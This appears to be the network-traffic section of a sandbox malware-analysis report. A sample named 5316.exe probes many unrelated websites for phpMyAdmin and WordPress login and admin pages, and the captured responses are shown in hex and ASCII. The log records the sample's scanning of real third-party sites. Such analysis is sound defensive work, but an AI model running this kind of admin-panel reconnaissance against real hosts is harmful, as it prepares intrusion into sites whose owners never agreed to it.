2023-12-20 02:13:27 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	57687	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	332	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_E7xcYfb3JpeTM7TdidjRnHhEfbIPIPMRCZTXsckIui6kdbZMq9+1iQGQ6VC1KDEEt+6sXVfJFHxWmnTnngJqJw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:27 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	57900	172.67.181.211	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	1353	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: goto_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: back_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: pma_lang_https=en; expires=Fri, 19-Jan-2024 02:13:27 GMT; Max-Age=2592000; path=/phpmyadmin/; secure; HttpOnly Set-Cookie: phpMyAdmin_https=no4s0u4uctaiupcci9rchgkorh; path=/phpmyadmin/; secure; HttpOnly X-ob_mode: 1 X-Frame-Options: DENY Referrer-Policy: no-referrer Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
2023-12-20 02:13:27 UTC	619	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 32 30 20 44 65 63 20 32 30 32 33 20 30 32 3a 31 33 3a 32 37 20 2b 30 30 30 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 20 70 72 65 2d 63 68 65 63 6b 3d 30 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 Data Ascii: Expires: Wed, 20 Dec 2023 02:13:27 +0000Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0Pragma: no-cacheVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudf
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 33 63 64 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 3cde<!doctype html><html lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="referrer" content="no-referrer"> <meta name="robots" content="noindex
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 6d 69 67 72 61 74 65 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 77 68 69 74 65 6c 69 73 74 2e 70 68 70 3f 76 3d 35 2e 30 2e 34 64 65 62 32 26 61 6d 70 3b 6c 61 6e 67 3d 65 6e 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 73 70 72 69 6e 74 66 2e 6a 73 3f 76 3d 35 2e 30 2e 34 Data Ascii: s/vendor/jquery/jquery-migrate.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/whitelist.php?v=5.0.4deb2&lang=en"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=5.0.4
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 62 61 2d 68 61 73 68 63 68 61 6e 67 65 2d 31 2e 33 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 64 65 62 6f 75 6e 63 65 2d 31 2e 30 2e 35 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6d 65 6e 75 5f 72 65 73 69 7a Data Ascii: /jquery/jquery.ba-hashchange-1.3.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/menu_resiz
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 Data Ascii: ?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/drag_drop_import.js?v=5.0.4deb2"></script> <script data-cfasync="
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 61 72 61 6d 73 2e 73 65 74 41 6c 6c 28 7b 63 6f 6d 6d 6f 6e 5f 71 75 65 72 79 3a 22 3f 6c 61 6e 67 3d 65 6e 22 2c 6f 70 65 6e 64 62 5f 75 72 6c 3a 22 64 62 5f 73 74 72 75 63 74 75 72 65 2e 70 68 70 22 2c 6c 61 6e 67 3a 22 65 6e 22 2c 73 65 72 76 65 72 3a 22 31 22 2c 74 61 62 6c 65 3a 22 22 2c 64 62 3a 22 22 2c 74 6f 6b 65 6e 3a 22 32 38 33 34 34 64 34 65 37 66 32 39 35 66 37 37 37 63 34 35 32 61 32 61 33 62 34 34 32 39 33 64 22 2c 74 65 78 74 5f 64 69 72 3a 22 6c 74 72 22 2c 73 68 6f 77 5f 64 61 74 61 62 61 73 65 73 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 61 73 5f 74 72 65 65 3a 74 72 75 65 2c 70 6d 61 5f 74 65 78 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 42 72 6f 77 73 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a Data Ascii: arams.setAll({common_query:"?lang=en",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"28344d4e7f295f777c452a2a3b44293d",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 61 67 65 73 2e 70 68 70 27 2c 20 30 29 0a 20 20 2e 61 64 64 28 27 63 6f 6e 66 69 67 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 6f 63 6c 69 6e 6b 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 66 75 6e 63 74 69 6f 6e 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 6e 61 76 69 67 61 74 69 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 69 6e 64 65 78 65 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 63 6f 6d 6d 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 2c Data Ascii: ages.php', 0) .add('config.js', 1) .add('doclinks.js', 1) .add('functions.js', 1) .add('navigation.js', 1) .add('indexes.js', 1) .add('common.js', 1) .add('page_settings.js', 1) .add('drag_drop_import.js', 1) .add('shortcuts_handler.js',
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 63 6f 6e 73 6f 6c 65 2e 6a 73 27 29 3b 0a 20 20 7d 29 3b 0a 2f 2f 20 5d 5d 3e 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 69 64 3d 6c 6f 67 69 6e 66 6f 72 6d 3e 0a 20 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 6d 61 5f 68 65 61 64 Data Ascii: ('drag_drop_import.js'); AJAX.fireOnload('shortcuts_handler.js'); AJAX.fireOnload('console.js'); });// ...</script> <noscript><style>html{display:block}</style></noscript></head><body id=loginform> <div id="pma_head
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 61 6d 65 3d 22 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 32 38 33 34 34 64 34 65 37 66 32 39 35 66 37 37 37 63 34 35 32 61 32 61 33 62 34 34 32 39 33 64 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 69 65 6c 64 73 65 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 65 67 65 6e 64 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 4c 61 6e 67 75 61 67 65 3c 2f 6c 65 67 65 6e 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 6c 65 63 74 20 6e 61 6d 65 3d 22 6c 61 6e 67 22 20 63 6c 61 73 73 3d 22 61 75 74 6f 73 75 62 6d 69 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 69 64 3d 22 73 65 6c 2d 6c 61 6e 67 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 Data Ascii: ame="token" value="28344d4e7f295f777c452a2a3b44293d"> <fieldset> <legend lang="en" dir="ltr">Language</legend> <select name="lang" class="autosubmit" lang="en" dir="ltr" id="sel-lang"> <option value="
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 64 61 22 3e 0a 20 20 20 20 20 20 20 20 44 61 6e 73 6b 20 2d 20 44 61 6e 69 73 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6c 22 3e 0a 20 20 20 20 20 20 20 20 4e 65 64 65 72 6c 61 6e 64 73 20 2d 20 44 75 74 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 65 6e 22 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 65 64 3d 22 73 65 6c 65 Data Ascii: ch </option> <option value="da"> Dansk - Danish </option> <option value="nl"> Nederlands - Dutch </option> <option value="en" selected="sele

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	58106	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	186	OUT	GET /wp-login.php HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	1080	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038407.54816508839143415058 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:27 GMT X-Served-By: cache-dfw-kdfw8210096-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalqKNXi8zNH83VjvAt1bwD34VtlvhO2UqmSLUgnUyWkAaOGo/oTFRj6yPw4wbEq5iAA==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,JrkgFGO7U7bjOEi/EuK4OmGy0AMuDj9WzV7MOlw9PWo=,0gGrL7iazMoiuqlb7dEO3e/kqv1crbHRlba79Pts+CcB8BMFbAfksPc98d03q8KwMzrlPmWu4KwuxqFFXL+rxQ== Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:27 UTC	172	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user
2023-12-20 02:13:27 UTC	1252	IN	Data Raw: 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: -scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name=
2023-12-20 02:13:27 UTC	1252	IN	Data Raw: 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f Data Ascii: -party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/
2023-12-20 02:13:27 UTC	253	IN	Data Raw: 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	57733	217.19.254.237	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	174	OUT	GET /wp-admin/ HTTP/1.1 Host: www.tgcan.co.uk Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	445	IN	HTTP/1.1 302 Found Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Location: https://www.tgcan.co.uk/wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1 Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.2 X-Redirect-By: WordPress X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:27 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	58261	108.163.227.170	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
